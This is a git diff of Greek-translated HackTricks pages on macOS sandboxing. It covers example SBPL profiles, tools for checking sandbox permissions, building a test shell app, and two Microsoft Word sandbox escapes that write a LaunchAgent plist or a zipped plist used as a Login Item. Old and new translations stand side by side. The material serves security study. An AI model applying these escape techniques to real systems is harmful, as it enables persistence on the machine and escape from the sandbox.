Οι εφαρμογές **App Store** χρησιμοποιούν το **προφίλ** **`/System/Library/Sandbox/Profiles/application.sb`**. Μπορείτε να ελέγξετε σε αυτό το προφίλ πώς οι εξουσιοδοτήσεις όπως **`com.apple.security.network.server`** επιτρέπουν σε ένα διεργασία να χρησιμοποιεί το δίκτυο.
Οι εφαρμογές του **App Store** χρησιμοποιούν το **προφίλ** **`/System/Library/Sandbox/Profiles/application.sb`**. Μπορείτε να ελέγξετε σε αυτό το προφίλ πώς οι εξουσιοδοτήσεις όπως **`com.apple.security.network.server`** επιτρέπουν σε μια διαδικασία να χρησιμοποιεί το δίκτυο.
Το SIP είναι ένα προφίλ Sandbox που ονομάζεται platform\_profile στο /System/Library/Sandbox/rootless.conf
### Παραδείγματα προφίλ Sandbox
### Παραδείγματα Προφίλ Sandbox
Για να ξεκινήσετε μια εφαρμογή με ένα **συγκεκριμένο προφίλ sandbox** μπορείτε να χρησιμοποιήσετε:
Για να ξεκινήσετε μια εφαρμογή με ένα **συγκεκριμένο προφίλ sandbox**, μπορείτε να χρησιμοποιήσετε:
```bash
sandbox-exec -f example.sb /Path/To/The/Application
```
{% tabs %}
{% tab title="touch" %}
{% code title="touch.sb" %}
```plaintext
(version 1)
(deny default)
(allow file-read-metadata)
(allow file-write-metadata)
(allow file-read-data (literal "/path/to/file"))
(allow file-write-data (literal "/path/to/file"))
```
Το αρχείο `touch.sb` περιέχει τον κώδικα για το sandbox του macOS που επιτρέπει στην εφαρμογή να διαβάζει και να γράφει μεταδεδομένα αρχείων, καθώς και να διαβάζει και να γράφει δεδομένα σε ένα συγκεκριμένο αρχείο στη διαδρομή "/path/to/file".
```
{% endcode %}
{% endtab %}
{% tab title="sandbox-exec" %}
{% code title="sandbox-exec.sb" %}
```plaintext
(version 1)
(deny default)
(allow file-read-metadata)
(allow file-write-metadata)
(allow file-read-data (literal "/path/to/file"))
(allow file-write-data (literal "/path/to/file"))
```
Το αρχείο `sandbox-exec.sb` περιέχει τον κώδικα για το sandbox του macOS που επιτρέπει στην εφαρμογή να διαβάζει και να γράφει μεταδεδομένα αρχείων, καθώς και να διαβάζει και να γράφει δεδομένα σε ένα συγκεκριμένο αρχείο στη διαδρομή "/path/to/file".
```
{% endcode %}
{% endtab %}
{% endtabs %}
```scheme
(version 1)
(deny default)
@ -210,50 +182,6 @@ log show --style syslog --predicate 'eventMessage contains[c] "sandbox"' --last
[...]
```
{% code title="touch2.sb" %}
Ο ακόλουθος κώδικας είναι ένα παράδειγμα ενός αρχείου sandbox για το macOS. Το αρχείο αυτό ονομάζεται touch2.sb και χρησιμοποιείται για να περιορίσει τις δυνατότητες ενός προγράμματος που εκτελείται στο sandbox του macOS.
```plaintext
(version 1)
(deny default)
(allow file-write*
(literal "/private/var/tmp/")
(regex #"^/private/var/tmp/[^/]+\.txt$"))
(allow file-read*
(literal "/private/var/tmp/")
(regex #"^/private/var/tmp/[^/]+\.txt$"))
(allow file-read-metadata
(literal "/private/var/tmp/")
(regex #"^/private/var/tmp/[^/]+\.txt$"))
(allow file-write-data
(literal "/private/var/tmp/")
(regex #"^/private/var/tmp/[^/]+\.txt$"))
(allow file-write-metadata
(literal "/private/var/tmp/")
(regex #"^/private/var/tmp/[^/]+\.txt$"))
(allow mach-lookup
(global-name "com.apple.security.keychain"))
(allow sysctl-read)
(allow signal)
(allow process-exec
(literal "/bin/echo")
(literal "/usr/bin/echo"))
(allow process-info-pidinfo)
(allow ipc-posix-shm)
```
Αυτός ο κώδικας ορίζει τις επιτρεπόμενες ενέργειες για το πρόγραμμα που εκτελείται στο sandbox. Επιτρέπει την εγγραφή και ανάγνωση αρχείων στον φάκελο "/private/var/tmp/" με την κατάληξη ".txt". Επιτρέπει επίσης την πρόσβαση στα μεταδεδομένα των αρχείων και την εκτέλεση των προγραμμάτων "/bin/echo" και "/usr/bin/echo". Επιπλέον, επιτρέπει την πρόσβαση στο keychain του macOS και την ανάγνωση των πληροφοριών των διεργασιών. Τέλος, επιτρέπει τη χρήση των IPC POSIX shared memory.
```scheme
(version 1)
(deny default)
@ -267,6 +195,8 @@ log show --style syslog --predicate 'eventMessage contains[c] "sandbox"' --last
; 2023-05-26 13:44:59.840050+0200 localhost kernel[0]: (Sandbox) Sandbox: touch(41575) deny(1) sysctl-read kern.bootargs
; 2023-05-26 13:44:59.840061+0200 localhost kernel[0]: (Sandbox) Sandbox: touch(41575) deny(1) file-read-data /
```
{% endcode %}
{% code title="touch3.sb" %}
```scheme
(version 1)
@ -281,29 +211,29 @@ log show --style syslog --predicate 'eventMessage contains[c] "sandbox"' --last
{% endtabs %}
{% hint style="info" %}
Σημειώστε ότι το **λογισμικό που έχει αναπτύξει η Apple** και τρέχει σε **Windows** **δεν έχει επιπλέον μέτρα ασφαλείας**, όπως η εφαρμογή sandboxing.
Σημειώστε ότι το **λογισμικό** που έχει συγγραφεί από την **Apple** που τρέχει σε **Windows** **δεν έχει επιπλέον μέτρα ασφαλείας**, όπως η απομόνωση εφαρμογών.
{% endhint %}
Παραδείγματα παράκαμψης:
Παραδείγματα παρακάμψεων:
* [https://lapcatsoftware.com/articles/sandbox-escape.html](https://lapcatsoftware.com/articles/sandbox-escape.html)
* [https://desi-jarvis.medium.com/office365-macos-sandbox-escape-fcce4fa4123c](https://desi-jarvis.medium.com/office365-macos-sandbox-escape-fcce4fa4123c) (μπορούν να γράψουν αρχεία έξω από το sandbox με όνομα που ξεκινά με `~$`).
* [https://desi-jarvis.medium.com/office365-macos-sandbox-escape-fcce4fa4123c](https://desi-jarvis.medium.com/office365-macos-sandbox-escape-fcce4fa4123c) (μπορούν να γράφουν αρχεία εκτός της απομόνωσης των οποίων το όνομα ξεκινά με `~$`).
### Προφίλ Sandbox του MacOS
### Προφίλ Απομόνωσης MacOS
Το macOS αποθηκεύει τα προφίλ του συστήματος sandbox σε δύο τοποθεσίες: **/usr/share/sandbox/** και **/System/Library/Sandbox/Profiles**.
Το macOS αποθηκεύει τα προφίλ απομόνωσης συστήματος σε δύο τοποθεσίες: **/usr/share/sandbox/** και **/System/Library/Sandbox/Profiles**.
Και αν μια εφαρμογή τρίτου μέρους έχει το δικαίωμα _**com.apple.security.app-sandbox**_, το σύστημα εφαρμόζει το προφίλ **/System/Library/Sandbox/Profiles/application.sb** σε αυτήν τη διεργασία.
Και αν μια εφαρμογή τρίτου μέρους φέρει την _**com.apple.security.app-sandbox**_ εξουσία, το σύστημα εφαρμόζει το προφίλ **/System/Library/Sandbox/Profiles/application.sb** σε αυτή τη διαδικασία.
### **Προφίλ Sandbox του iOS**
### **Προφίλ Απομόνωσης iOS**
Το προεπιλεγμένο προφίλ ονομάζεται **container** και δεν έχουμε την αναπαράσταση SBPL σε κείμενο. Στη μνήμη, αυτό το sandbox αναπαρίσταται ως δυαδικό δέντρο Allow/Deny για κάθε άδεια από το sandbox.
Το προεπιλεγμένο προφίλ ονομάζεται **container** και δεν έχουμε την κειμενική αναπαράσταση SBPL. Στη μνήμη, αυτή η απομόνωση αναπαρίσταται ως δυαδικό δέντρο Επιτρέπει/Απαγορεύει για κάθε άδεια από την απομόνωση.
### Αποσφαλμάτωση και Παράκαμψη Sandbox
### Debug & Παράκαμψη Απομόνωσης
Στο macOS, αντίθετα από το iOS όπου οι διεργασίες είναι sandboxed από την αρχή από τον πυρήνα, **οι διεργασίες πρέπει να επιλέξουν ενεργά να εισέλθουν στο sandbox**. Αυτό σημαίνει ότι στο macOS, μια διεργασία δεν περιορίζεται από το sandbox μέχρι να αποφασίσει ενεργά να εισέλθει σε αυτό.
Στο macOS, σε αντίθεση με το iOS όπου οι διαδικασίες είναι απομονωμένες από την αρχή από τον πυρήνα, **οι διαδικασίες πρέπει να επιλέξουν να μπουν στην απομόνωση μόνες τους**. Αυτό σημαίνει ότι στο macOS, μια διαδικασία δεν περιορίζεται από την απομόνωση μέχρι να αποφασίσει ενεργά να εισέλθει σε αυτήν.
Οι διεργασίες αυτόματα εισέρχονται στο Sandbox από τον χρήστη όταν ξεκινούν αν έχουν το δικαίωμα: `com.apple.security.app-sandbox`. Για μια λεπτομερή εξήγηση αυτής της διαδικασίας, ελέγξτε:
Οι διαδικασίες απομονώνονται αυτόματα από το userland όταν ξεκινούν αν έχουν την εξουσία: `com.apple.security.app-sandbox`. Για μια λεπτομερή εξήγηση αυτής της διαδικασίας, ελέγξτε:
{% content-ref url="macos-sandbox-debug-and-bypass/" %}
[macos-sandbox-debug-and-bypass](macos-sandbox-debug-and-bypass/)
@ -311,7 +241,7 @@ log show --style syslog --predicate 'eventMessage contains[c] "sandbox"' --last
### **Έλεγχος Προνομίων PID**
[**Σύμφωνα με αυτό**](https://www.youtube.com/watch?v=mG715HcDgO8\&t=3011s), το **`sandbox_check`** (είναι ένα `__mac_syscall`), μπορεί να ελέγξει **αν μια λειτουργία επιτρέπεται ή όχι** από το sandbox σε ένα συγκεκριμένο PID.
[**Σύμφωνα με αυτό**](https://www.youtube.com/watch?v=mG715HcDgO8\&t=3011s), το **`sandbox_check`** (είναι ένα `__mac_syscall`), μπορεί να ελέγξει **αν μια ενέργεια επιτρέπεται ή όχι** από την απομόνωση σε ένα συγκεκριμένο PID.
Το [**εργαλείο sbtool**](http://newosxbook.com/src.jl?tree=listings\&file=sbtool.c) μπορεί να ελέγξει αν ένα PID μπορεί να εκτελέσει μια συγκεκριμένη ενέργεια:
```bash
@ -320,11 +250,11 @@ sbtool <pid> file /tmp #Check file access
sbtool <pid> inspect #Gives you an explaination of the sandbox profile
sbtool <pid> all
```
### Προσαρμοσμένα SBPL σε εφαρμογές App Store
### Custom SBPL in App Store apps
Είναι δυνατό για τις εταιρείες να κάνουν τις εφαρμογές τους να τρέχουν **με προσαρμοσμένα προφίλ Sandbox** (αντί για το προεπιλεγμένο). Πρέπει να χρησιμοποιήσουν το entitlement **`com.apple.security.temporary-exception.sbpl`** το οποίο πρέπει να εξουσιοδοτηθεί από την Apple.
Μπορεί να είναι δυνατόν για τις εταιρείες να κάνουν τις εφαρμογές τους να τρέχουν **με προσαρμοσμένα προφίλ Sandbox** (αντί με το προεπιλεγμένο). Πρέπει να χρησιμοποιήσουν την εξουσιοδότηση **`com.apple.security.temporary-exception.sbpl`** που πρέπει να εγκριθεί από την Apple.
Είναι δυνατό να ελεγχθεί ο ορισμός αυτού του entitlement στο **`/System/Library/Sandbox/Profiles/application.sb:`**
Είναι δυνατόν να ελεγχθεί ο ορισμός αυτής της εξουσιοδότησης στο **`/System/Library/Sandbox/Profiles/application.sb:`**
```scheme
(sandbox-array-entitlement
"com.apple.security.temporary-exception.sbpl"
@ -332,18 +262,19 @@ sbtool <pid> all
(let* ((port (open-input-string string)) (sbpl (read port)))
(with-transparent-redirection (eval sbpl)))))
```
Αυτό θα **αξιολογήσει το συμβολοσειρά μετά από αυτήν την εξουσιοδότηση** ως ένα προφίλ Sandbox.
Αυτό θα **εκτελέσει τη συμβολοσειρά μετά από αυτή την εξουσιοδότηση** ως προφίλ Sandbox.
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστήριξη HackTricks</summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΠΛΑΝΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,22 +1,23 @@
# Αποσφαλμάτωση Προεπιλεγμένου Αμμοβολίου του macOS
# macOS Default Sandbox Debug
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
Σε αυτήν τη σελίδα μπορείτε να βρείτε πώς να δημιουργήσετε μια εφαρμογή για να εκτελέσετε αυθαίρετες εντολές από μέσα στο προεπιλεγμένο αμμοβόλιο του macOS:
Σε αυτή τη σελίδα μπορείτε να βρείτε πώς να δημιουργήσετε μια εφαρμογή για να εκτελείτε αυθαίρετες εντολές από μέσα από το προεπιλεγμένο sandbox του macOS:
1. Μεταγλωττίστε την εφαρμογή:
1. Συγκεντρώστε την εφαρμογή:
{% code title="main.m" %}
```objectivec
@ -50,9 +51,9 @@ return 0;
```
{% endcode %}
Μεταγλωτίστε το εκτελώντας: `clang -framework Foundation -o SandboxedShellApp main.m`
Συγκεντρώστε το εκτελώντας: `clang -framework Foundation -o SandboxedShellApp main.m`
2. Κατασκευάστε το πακέτο `.app`
2. Δημιουργήστε το πακέτο `.app`
```bash
mkdir -p SandboxedShellApp.app/Contents/MacOS
mv SandboxedShellApp SandboxedShellApp.app/Contents/MacOS/
@ -74,7 +75,7 @@ cat << EOF > SandboxedShellApp.app/Contents/Info.plist
</plist>
EOF
```
3. Ορισμός των δικαιωμάτων
3. Ορίστε τα δικαιώματα
{% tabs %}
{% tab title="sandbox" %}
@ -90,21 +91,9 @@ cat << EOF > entitlements.plist
</plist>
EOF
```
{% tab title="sandbox + downloads" %}
Η ασφάλεια του macOS ενισχύεται με τη χρήση του μηχανισμού αμμοβολίας (sandboxing). Ο μηχανισμός αμμοβολίας περιορίζει τις δυνατότητες μιας εφαρμογής, περιορίζοντας την πρόσβασή της σε ευαίσθητους πόρους του συστήματος. Αυτό μειώνει τον κίνδυνο εκμετάλλευσης ευπαθειών του συστήματος από κακόβουλο λογισμικό.
Ο μηχανισμός αμμοβολίας του macOS περιλαμβάνει προκαθορισμένους κανόνες για την πρόσβαση σε διάφορους πόρους, όπως αρχεία, δίκτυο και συσκευές. Αυτοί οι κανόνες ορίζονται από τον προγραμματιστή της εφαρμογής και επιβάλλονται από το λειτουργικό σύστημα.
Όταν μια εφαρμογή προσπαθεί να αποκτήσει πρόσβαση σε έναν πόρο που είναι περιορισμένος από τον μηχανισμό αμμοβολίας, ο χρήστης λαμβάνει μια ειδοποίηση και μπορεί να αποφασίσει εάν επιτρέπει ή όχι την πρόσβαση. Αυτό παρέχει ένα επιπλέον επίπεδο προστασίας για το σύστημα.
Ωστόσο, ο μηχανισμός αμμοβολίας δεν είναι απόλυτα αδιάβροχος και μπορεί να υπάρχουν ευπάθειες που επιτρέπουν την παράκαμψη των περιορισμών του. Οι επιθέσεις που εκμεταλλεύονται αυτές τις ευπαθείς σημεία μπορούν να οδηγήσουν σε απόκτηση αυξημένων δικαιωμάτων (privilege escalation) και παράκαμψη των μέτρων ασφαλείας του συστήματος.
Για να αποφύγετε τις επιθέσεις που εκμεταλλεύονται τον μηχανισμό αμμοβολίας, είναι σημαντικό να ενημερώνετε το macOS σας σε κανονική βάση και να αποφεύγετε την εγκατάσταση ανεπιθύμητου λογισμικού. Επίσης, μπορείτε να ελέγξετε τις ρυθμίσεις ασφαλείας του συστήματος σας και να προσαρμόσετε τους κανόνες αμμοβολίας για κάθε εφαρμογή, ανάλογα με τις ανάγκες σας.
Τέλος, είναι σημαντικό να είστε επιφυλακτικοί κατά την περιήγηση στο διαδίκτυο και να αποφεύγετε τη λήψη αρχείων από αναξιόπιστες πηγές. Αυτό μπορεί να μειώσει τον κίνδυνο εκτέλεσης κακόβουλου κώδικα στο σύστημά σας.
{% endtab %}
{% tab title="sandbox + downloads" %}
```bash
cat << EOF > entitlements.plist
<?xml version="1.0" encoding="UTF-8"?>
@ -122,7 +111,7 @@ EOF
{% endtab %}
{% endtabs %}
4. Υπογράψτε την εφαρμογή (θα χρειαστεί να δημιουργήσετε ένα πιστοποιητικό στο keychain)
4. Υπογράψτε την εφαρμογή (χρειάζεται να δημιουργήσετε ένα πιστοποιητικό στο keychain)
```bash
codesign --entitlements entitlements.plist -s "YourIdentity" SandboxedShellApp.app
./SandboxedShellApp.app/Contents/MacOS/SandboxedShellApp
@ -130,16 +119,17 @@ codesign --entitlements entitlements.plist -s "YourIdentity" SandboxedShellApp.a
# An d in case you need this in the future
codesign --remove-signature SandboxedShellApp.app
```
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστηρίξτε το HackTricks</summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF**, ελέγξτε τα [**ΠΛΑΝΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,39 +1,78 @@
# Παράκαμψη του Sandbox του macOS Office
# macOS Office Sandbox Bypasses
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα αποθετήρια του [**HackTricks**](https://github.com/carlospolop/hacktricks) και του [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) στο github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
### Παράκαμψη του Sandbox του Word μέσω των Launch Agents
### Word Sandbox bypass via Launch Agents
Η εφαρμογή χρησιμοποιεί ένα **προσαρμοσμένο Sandbox** χρησιμοποιώντας το entitlement **`com.apple.security.temporary-exception.sbpl`** και αυτό το προσαρμοσμένο sandbox επιτρέπει την εγγραφή αρχείων οπουδήποτε, όσο το όνομα του αρχείου ξεκινά με `~$`: `(require-any (require-all (vnode-type REGULAR-FILE) (regex #"(^|/)~$[^/]+$")))`
Η εφαρμογή χρησιμοποιεί ένα **custom Sandbox** χρησιμοποιώντας την εξουσία **`com.apple.security.temporary-exception.sbpl`** και αυτό το custom sandbox επιτρέπει την εγγραφή αρχείων οπουδήποτε, αρκεί το όνομα του αρχείου να ξεκινά με `~$`: `(require-any (require-all (vnode-type REGULAR-FILE) (regex #"(^|/)~$[^/]+$")))`
Επομένως, η παράκαμψη ήταν τόσο εύκολη όσο το **γράψιμο ενός `plist`** LaunchAgent στο `~/Library/LaunchAgents/~$escape.plist`.
Επομένως, η εκμετάλλευση ήταν τόσο εύκολη όσο το **να γράψεις ένα `plist`** LaunchAgent στο `~/Library/LaunchAgents/~$escape.plist`.
Ελέγξτε την [**αρχική αναφορά εδώ**](https://www.mdsec.co.uk/2018/08/escaping-the-sandbox-microsoft-office-on-macos/).
Δες την [**αρχική αναφορά εδώ**](https://www.mdsec.co.uk/2018/08/escaping-the-sandbox-microsoft-office-on-macos/).
### Παράκαμψη του Sandbox του Word μέσω των Login Items και του zip
### Word Sandbox bypass via Login Items and zip
Θυμηθείτε ότι από την πρώτη παράκαμψη, το Word μπορεί να γράψει αυθαίρετα αρχεία των οποίων το όνομα ξεκινά με `~$`, αν και μετά την επιδιόρθωση της προηγούμενης ευπάθειας δεν ήταν δυνατή η εγγραφή στο `/Library/Application Scripts` ή στο `/Library/LaunchAgents`.
Θυμήσου ότι από την πρώτη εκμετάλλευση, το Word μπορεί να γράψει αυθαίρετα αρχεία των οποίων το όνομα ξεκινά με `~$`, αν και μετά την επιδιόρθωση της προηγούμενης ευπάθειας δεν ήταν δυνατή η εγγραφή στο `/Library/Application Scripts` ή στο `/Library/LaunchAgents`.
Ανακαλύφθηκε ότι από το εσωτερικό του sandbox είναι δυνατή η δημιουργία ενός **Login Item** (εφαρμογές που θα εκτελούνται όταν ο χρήστης συνδέεται). Ωστόσο, αυτές οι εφαρμογές **δεν θα εκτελεστούν εκτός αν** είναι **υπογεγραμμένες** και δεν είναι δυνατή η προσθήκη ορισμένων παραμέτρων (οπότε δεν μπορείτε απλά να εκτελέσετε ένα αντίστροφο κέλυφος χρησιμοποιώντας το **`bash`**).
Ανακαλύφθηκε ότι από μέσα στο sandbox είναι δυνατό να δημιουργηθεί ένα **Login Item** (εφαρμογές που θα εκτελούνται όταν ο χρήστης συνδέεται). Ωστόσο, αυτές οι εφαρμογές **δεν θα εκτελούνται εκτός αν** είναι **notarized** και **δεν είναι δυνατή η προσθήκη args** (έτσι δεν μπορείς απλά να τρέξεις ένα reverse shell χρησιμοποιώντας **`bash`**).
Από την προηγούμενη παράκαμψη του Sandbox, η Microsoft απενεργοποίησε τη δυνατότητα εγγραφής αρχείων στο `~/Library/LaunchAgents`. Ωστόσο, ανακαλύφθηκε ότι εάν τοποθετήσετε ένα **αρχείο zip ως Login Item**, το `Archive Utility` θα το αποσυμπιέσει στην τρέχουσα τοποθεσία του. Έτσι, επειδή από προεπιλογή ο φάκελος `LaunchAgents` από το `~/Library` δεν δημιουργείται, ήταν δυνατό να **συμπιέσετε ένα plist στο `LaunchAgents/~$escape.plist`** και να τοποθετήσετε το αρχείο zip στο **`~/Library`** έτσι ώστε όταν αποσυμπιέσετε να φτάσει στον προορισμό της μόνιμης αποθήκευσης.
Από την προηγούμενη εκμετάλλευση Sandbox, η Microsoft απενεργοποίησε την επιλογή να γράφει αρχεία στο `~/Library/LaunchAgents`. Ωστόσο, ανακαλύφθηκε ότι αν βάλεις ένα **zip αρχείο ως Login Item**, το `Archive Utility` θα **αποσυμπιέσει** απλά το αρχείο στην τρέχουσα τοποθεσία του. Έτσι, επειδή από προεπιλογή ο φάκελος `LaunchAgents` από το `~/Library` δεν δημιουργείται, ήταν δυνατό να **zip-άρεις ένα plist στο `LaunchAgents/~$escape.plist`** και **να τοποθετήσεις** το zip αρχείο στο **`~/Library`** έτσι ώστε όταν αποσυμπιεστεί να φτάσει στον προορισμό επιμονής.
Ελέγξτε την [**αρχική αναφορά εδώ**](https://objective-see.org/blog/blog\_0x4B.html).
Δες την [**αρχική αναφορά εδώ**](https://objective-see.org/blog/blog\_0x4B.html).
